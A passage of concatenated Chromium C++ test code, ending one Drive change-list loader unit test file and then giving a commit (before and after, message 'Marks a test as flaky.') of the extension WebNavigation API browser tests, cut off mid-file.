initial_load_complete_count() const {\n return initial_load_complete_count_;\n }\n\n \/\/ ChageListObserver overrides:\n virtual void OnDirectoryChanged(\n const base::FilePath& directory_path) OVERRIDE {\n changed_directories_.insert(directory_path);\n }\n virtual void OnLoadFromServerComplete() OVERRIDE {\n ++load_from_server_complete_count_;\n }\n virtual void OnInitialLoadComplete() OVERRIDE {\n ++initial_load_complete_count_;\n }\n\n private:\n ChangeListLoader* loader_;\n std::set<base::FilePath> changed_directories_;\n int load_from_server_complete_count_;\n int initial_load_complete_count_;\n\n DISALLOW_COPY_AND_ASSIGN(TestChangeListLoaderObserver);\n};\n\nclass TestDriveService : public FakeDriveService {\n public:\n TestDriveService() : never_return_all_resource_list_(false),\n blocked_call_count_(0) {}\n\n void set_never_return_all_resource_list(bool value) {\n never_return_all_resource_list_ = value;\n }\n\n int blocked_call_count() const { return blocked_call_count_; }\n\n \/\/ FakeDriveService override.\n virtual google_apis::CancelCallback GetAllResourceList(\n const google_apis::GetResourceListCallback& callback) OVERRIDE {\n if (never_return_all_resource_list_) {\n ++blocked_call_count_;\n return google_apis::CancelCallback();\n }\n return FakeDriveService::GetAllResourceList(callback);\n }\n\n private:\n \/\/ GetAllResourceList never returns result when this is set to true.\n \/\/ Used to emulate the real server's slowness.\n bool never_return_all_resource_list_;\n\n int blocked_call_count_; \/\/ Number of blocked method calls.\n};\n\nclass ChangeListLoaderTest : public testing::Test {\n protected:\n virtual void SetUp() OVERRIDE {\n ASSERT_TRUE(temp_dir_.CreateUniqueTempDir());\n pref_service_.reset(new TestingPrefServiceSimple);\n test_util::RegisterDrivePrefs(pref_service_->registry());\n\n drive_service_.reset(new TestDriveService);\n ASSERT_TRUE(drive_service_->LoadResourceListForWapi(\n \"gdata\/root_feed.json\"));\n ASSERT_TRUE(drive_service_->LoadAccountMetadataForWapi(\n \"gdata\/account_metadata.json\"));\n\n scheduler_.reset(new JobScheduler(pref_service_.get(),\n drive_service_.get(),\n base::MessageLoopProxy::current().get()));\n metadata_storage_.reset(new ResourceMetadataStorage(\n temp_dir_.path(), base::MessageLoopProxy::current().get()));\n ASSERT_TRUE(metadata_storage_->Initialize());\n\n metadata_.reset(new ResourceMetadata(\n metadata_storage_.get(), base::MessageLoopProxy::current().get()));\n ASSERT_EQ(FILE_ERROR_OK, metadata_->Initialize());\n\n cache_.reset(new FileCache(metadata_storage_.get(),\n temp_dir_.path(),\n base::MessageLoopProxy::current().get(),\n NULL \/* free_disk_space_getter *\/));\n ASSERT_TRUE(cache_->Initialize());\n\n change_list_loader_.reset(\n new ChangeListLoader(base::MessageLoopProxy::current().get(),\n metadata_.get(),\n scheduler_.get()));\n }\n\n \/\/ Adds a new file to the root directory of the service.\n scoped_ptr<google_apis::ResourceEntry> AddNewFile(const std::string& title) {\n google_apis::GDataErrorCode error = google_apis::GDATA_FILE_ERROR;\n scoped_ptr<google_apis::ResourceEntry> entry;\n drive_service_->AddNewFile(\n \"text\/plain\",\n \"content text\",\n drive_service_->GetRootResourceId(),\n title,\n false, \/\/ shared_with_me\n google_apis::test_util::CreateCopyResultCallback(&error, &entry));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(google_apis::HTTP_CREATED, error);\n return entry.Pass();\n }\n\n content::TestBrowserThreadBundle thread_bundle_;\n base::ScopedTempDir temp_dir_;\n scoped_ptr<TestingPrefServiceSimple> pref_service_;\n scoped_ptr<TestDriveService> drive_service_;\n scoped_ptr<JobScheduler> scheduler_;\n scoped_ptr<ResourceMetadataStorage,\n test_util::DestroyHelperForTests> metadata_storage_;\n scoped_ptr<ResourceMetadata, test_util::DestroyHelperForTests> metadata_;\n scoped_ptr<FileCache, test_util::DestroyHelperForTests> cache_;\n scoped_ptr<ChangeListLoader> change_list_loader_;\n};\n\nTEST_F(ChangeListLoaderTest, LoadIfNeeded) {\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n\n \/\/ Start initial load.\n TestChangeListLoaderObserver observer(change_list_loader_.get());\n\n FileError error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_LT(0, metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, drive_service_->resource_list_load_count());\n EXPECT_EQ(1, observer.initial_load_complete_count());\n EXPECT_EQ(1, observer.load_from_server_complete_count());\n EXPECT_TRUE(observer.changed_directories().empty());\n\n base::FilePath file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(\"File 1.txt\");\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(file_path, &entry));\n\n \/\/ Reload. This should result in no-op.\n int64 previous_changestamp = metadata_->GetLargestChangestamp();\n int previous_resource_list_load_count =\n drive_service_->resource_list_load_count();\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_EQ(previous_changestamp, metadata_->GetLargestChangestamp());\n EXPECT_EQ(previous_resource_list_load_count,\n drive_service_->resource_list_load_count());\n}\n\nTEST_F(ChangeListLoaderTest, LoadIfNeeded_LocalMetadataAvailable) {\n \/\/ Prepare metadata.\n FileError error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n \/\/ Reset loader.\n change_list_loader_.reset(\n new ChangeListLoader(base::MessageLoopProxy::current().get(),\n metadata_.get(),\n scheduler_.get()));\n\n \/\/ Add a file to the service.\n scoped_ptr<google_apis::ResourceEntry> gdata_entry = AddNewFile(\"New File\");\n ASSERT_TRUE(gdata_entry);\n\n \/\/ Start loading. Because local metadata is available, the load results in\n \/\/ returning FILE_ERROR_OK without fetching full list of resources.\n const int previous_resource_list_load_count =\n drive_service_->resource_list_load_count();\n TestChangeListLoaderObserver observer(change_list_loader_.get());\n\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n EXPECT_EQ(previous_resource_list_load_count,\n drive_service_->resource_list_load_count());\n EXPECT_EQ(1, observer.initial_load_complete_count());\n\n \/\/ Update should be checked by LoadIfNeeded().\n EXPECT_EQ(drive_service_->largest_changestamp(),\n metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, drive_service_->change_list_load_count());\n EXPECT_EQ(1, observer.load_from_server_complete_count());\n EXPECT_EQ(1U, observer.changed_directories().count(\n util::GetDriveMyDriveRootPath()));\n\n base::FilePath file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(gdata_entry->title());\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(file_path, &entry));\n}\n\nTEST_F(ChangeListLoaderTest, LoadIfNeeded_MyDrive) {\n \/\/ Emulate the slowness of GetAllResourceList().\n drive_service_->set_never_return_all_resource_list(true);\n\n \/\/ Load grand root.\n FileError error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(util::kDriveGrandRootSpecialResourceId, 0),\n google_apis::test_util::CreateCopyResultCallback(&error));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n \/\/ GetAllResourceList() was called.\n EXPECT_EQ(1, drive_service_->blocked_call_count());\n\n \/\/ My Drive is present in the local metadata, but its child is not.\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(util::GetDriveMyDriveRootPath(),\n &entry));\n const int64 mydrive_changestamp =\n entry.directory_specific_info().changestamp();\n\n base::FilePath file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(\"File 1.txt\");\n EXPECT_EQ(FILE_ERROR_NOT_FOUND,\n metadata_->GetResourceEntryByPath(file_path, &entry));\n\n \/\/ Load My Drive.\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(drive_service_->GetRootResourceId(),\n mydrive_changestamp),\n google_apis::test_util::CreateCopyResultCallback(&error));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n \/\/ Now the file is present.\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(file_path, &entry));\n}\n\nTEST_F(ChangeListLoaderTest, LoadIfNeeded_NewDirectories) {\n \/\/ Make local metadata up to date.\n FileError error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n \/\/ Add a new file.\n scoped_ptr<google_apis::ResourceEntry> file = AddNewFile(\"New File\");\n ASSERT_TRUE(file);\n\n \/\/ Emulate the slowness of GetAllResourceList().\n drive_service_->set_never_return_all_resource_list(true);\n\n \/\/ Enter refreshing state.\n FileError check_for_updates_error = FILE_ERROR_FAILED;\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n\n \/\/ Load My Drive.\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(drive_service_->GetRootResourceId(),\n metadata_->GetLargestChangestamp()),\n google_apis::test_util::CreateCopyResultCallback(&error));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n \/\/ The new file is present in the local metadata.\n base::FilePath file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(file->title());\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(file_path, &entry));\n}\n\nTEST_F(ChangeListLoaderTest, CheckForUpdates) {\n \/\/ CheckForUpdates() results in no-op before load.\n FileError check_for_updates_error = FILE_ERROR_FAILED;\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_FAILED,\n check_for_updates_error); \/\/ Callback was not run.\n EXPECT_EQ(0, metadata_->GetLargestChangestamp());\n EXPECT_EQ(0, drive_service_->resource_list_load_count());\n\n \/\/ Start initial load.\n FileError load_error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&load_error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n\n \/\/ CheckForUpdates() while loading.\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n\n base::RunLoop().RunUntilIdle();\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_EQ(FILE_ERROR_OK, load_error);\n EXPECT_EQ(FILE_ERROR_OK, check_for_updates_error);\n EXPECT_LT(0, metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, drive_service_->resource_list_load_count());\n\n int64 previous_changestamp = metadata_->GetLargestChangestamp();\n \/\/ CheckForUpdates() results in no update.\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_EQ(previous_changestamp, metadata_->GetLargestChangestamp());\n\n \/\/ Add a file to the service.\n scoped_ptr<google_apis::ResourceEntry> gdata_entry = AddNewFile(\"New File\");\n ASSERT_TRUE(gdata_entry);\n\n \/\/ CheckForUpdates() results in update.\n TestChangeListLoaderObserver observer(change_list_loader_.get());\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_LT(previous_changestamp, metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, observer.load_from_server_complete_count());\n EXPECT_EQ(1U, observer.changed_directories().count(\n util::GetDriveMyDriveRootPath()));\n\n \/\/ The new file is found in the local metadata.\n base::FilePath new_file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(gdata_entry->title());\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(new_file_path, &entry));\n}\n\n} \/\/ namespace internal\n} \/\/ namespace drive\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/extension_webnavigation_api.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/render_view_context_menu.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_list.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/browser\/renderer_host\/render_view_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/common\/context_menu_params.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebContextMenuData.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebInputEvent.h\"\n\nusing content::WebContents;\n\nnamespace {\n\nclass TestRenderViewContextMenu : public RenderViewContextMenu {\n public:\n TestRenderViewContextMenu(WebContents* web_contents,\n const content::ContextMenuParams& params)\n : RenderViewContextMenu(web_contents, params) {\n }\n virtual ~TestRenderViewContextMenu() {}\n\n private:\n virtual void PlatformInit() {}\n virtual bool GetAcceleratorForCommandId(int, ui::Accelerator*) {\n return false;\n }\n\n DISALLOW_COPY_AND_ASSIGN(TestRenderViewContextMenu);\n};\n\n} \/\/ namespace\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigation) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_api.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationGetFrame) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_getFrame.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationClientRedirect) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_clientRedirect.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationServerRedirect) {\n FrameNavigationState::set_allow_extension_scheme(true);\n host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_serverRedirect.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationForwardBack) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_forwardBack.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationIFrame) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_iframe.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationOpenTab) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_openTab.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationReferenceFragment) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_referenceFragment.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationSimpleLoad) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_simpleLoad.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationFailures) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_failures.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationUserAction) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_userAction.html\")) << message_;\n\n WebContents* tab = browser()->GetSelectedWebContents();\n ui_test_utils::WaitForLoadStop(tab);\n\n ResultCatcher catcher;\n\n ExtensionService* service = browser()->profile()->GetExtensionService();\n const Extension* extension =\n service->GetExtensionById(last_loaded_extension_id_, false);\n GURL url = extension->GetResourceURL(\"userAction\/a.html\");\n\n ui_test_utils::NavigateToURL(browser(), url);\n\n \/\/ This corresponds to \"Open link in new tab\".\n content::ContextMenuParams params;\n params.is_editable = false;\n params.media_type = WebKit::WebContextMenuData::MediaTypeNone;\n params.page_url = url;\n params.frame_id =\n ExtensionWebNavigationTabObserver::Get(tab)->\n frame_navigation_state().GetMainFrameID();\n params.link_url = extension->GetResourceURL(\"userAction\/b.html\");\n\n TestRenderViewContextMenu menu(tab, params);\n menu.Init();\n menu.ExecuteCommand(IDC_CONTENT_CONTEXT_OPENLINKNEWTAB);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationRequestOpenTab) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(RunExtensionSubtest(\"webnavigation\", \"test_requestOpenTab.html\"))\n << message_;\n\n WebContents* tab = browser()->GetSelectedWebContents();\n ui_test_utils::WaitForLoadStop(tab);\n\n ResultCatcher catcher;\n\n ExtensionService* service = browser()->profile()->GetExtensionService();\n const Extension* extension =\n service->GetExtensionById(last_loaded_extension_id_, false);\n GURL url = extension->GetResourceURL(\"requestOpenTab\/a.html\");\n\n ui_test_utils::NavigateToURL(browser(), url);\n\n \/\/ There's a link on a.html. Middle-click on it to open it in a new tab.\n WebKit::WebMouseEvent mouse_event;\n mouse_event.type = WebKit::WebInputEvent::MouseDown;\n mouse_event.button = WebKit::WebMouseEvent::ButtonMiddle;\n mouse_event.x = 7;\n mouse_event.y = 7;\n mouse_event.clickCount = 1;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n mouse_event.type = WebKit::WebInputEvent::MouseUp;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationTargetBlank) {\n FrameNavigationState::set_allow_extension_scheme(true);\n ASSERT_TRUE(StartTestServer());\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(RunExtensionSubtest(\"webnavigation\", \"test_targetBlank.html\"))\n << message_;\n\n WebContents* tab = browser()->GetSelectedWebContents();\n ui_test_utils::WaitForLoadStop(tab);\n\n ResultCatcher catcher;\n\n GURL url = test_server()->GetURL(\n \"files\/extensions\/api_test\/webnavigation\/targetBlank\/a.html\");\n\n browser::NavigateParams params(browser(), url, content::PAGE_TRANSITION_LINK);\n ui_test_utils::NavigateToURL(¶ms);\n\n \/\/ There's a link with target=_blank on a.html. Click on it to open it in a\n \/\/ new tab.\n WebKit::WebMouseEvent mouse_event;\n mouse_event.type = WebKit::WebInputEvent::MouseDown;\n mouse_event.button = WebKit::WebMouseEvent::ButtonLeft;\n mouse_event.x = 7;\n mouse_event.y = 7;\n mouse_event.clickCount = 1;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n mouse_event.type = WebKit::WebInputEvent::MouseUp;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationTargetBlankIncognito) {\n FrameNavigationState::set_allow_extension_scheme(true);\n ASSERT_TRUE(StartTestServer());\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(RunExtensionSubtestIncognito(\n \"webnavigation\", \"test_targetBlank.html\")) << message_;\n\n ResultCatcher catcher;\n\n GURL url = test_server()->GetURL(\n \"files\/extensions\/api_test\/webnavigation\/targetBlank\/a.html\");\n\n ui_test_utils::OpenURLOffTheRecord(browser()->profile(), url);\n WebContents* tab = BrowserList::FindTabbedBrowser(\n browser()->profile()->GetOffTheRecordProfile(), false)->\n GetSelectedWebContents();\n\n \/\/ There's a link with target=_blank on a.html. Click on it to open it in a\n \/\/ new tab.\n WebKit::WebMouseEvent mouse_event;\n mouse_event.type = WebKit::WebInputEvent::MouseDown;\n mouse_event.button = WebKit::WebMouseEvent::ButtonLeft;\n mouse_event.x = 7;\n mouse_event.y = 7;\n mouse_event.clickCount = 1;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n mouse_event.type = WebKit::WebInputEvent::MouseUp;\n tab->GetRenderViewHost()->ForwardMouseEvent(mouse_event);\n\n ASSERT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<commit_msg>Marks a test as flaky.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/extension_webnavigation_api.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/render_view_context_menu.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_list.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/browser\/renderer_host\/render_view_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/common\/context_menu_params.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebContextMenuData.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebInputEvent.h\"\n\nusing content::WebContents;\n\nnamespace {\n\nclass TestRenderViewContextMenu : public RenderViewContextMenu {\n public:\n TestRenderViewContextMenu(WebContents* web_contents,\n const content::ContextMenuParams& params)\n : RenderViewContextMenu(web_contents, params) {\n }\n virtual ~TestRenderViewContextMenu() {}\n\n private:\n virtual void PlatformInit() {}\n virtual bool GetAcceleratorForCommandId(int, ui::Accelerator*) {\n return false;\n }\n\n DISALLOW_COPY_AND_ASSIGN(TestRenderViewContextMenu);\n};\n\n} \/\/ namespace\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigation) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_api.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationGetFrame) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_getFrame.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationClientRedirect) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_clientRedirect.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationServerRedirect) {\n FrameNavigationState::set_allow_extension_scheme(true);\n host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_serverRedirect.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationForwardBack) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_forwardBack.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationIFrame) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_iframe.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationOpenTab) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_openTab.html\")) << message_;\n}\n\n\/\/ This test has been timing out: 114208.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, FLAKY_WebNavigationReferenceFragment) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_referenceFragment.html\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationSimpleLoad) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_simpleLoad.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationFailures) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_failures.html\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebNavigationUserAction) {\n FrameNavigationState::set_allow_extension_scheme(true);\n\n CommandLine::ForCurrentProcess()->AppendSwitch(\n switches::kAllowLegacyExtensionManifests);\n\n \/\/ Wait for the extension to set itself up and return control to us.\n ASSERT_TRUE(\n RunExtensionSubtest(\"webnavigation\", \"test_userAction.html\")) << message_;\n\n WebContents* tab = 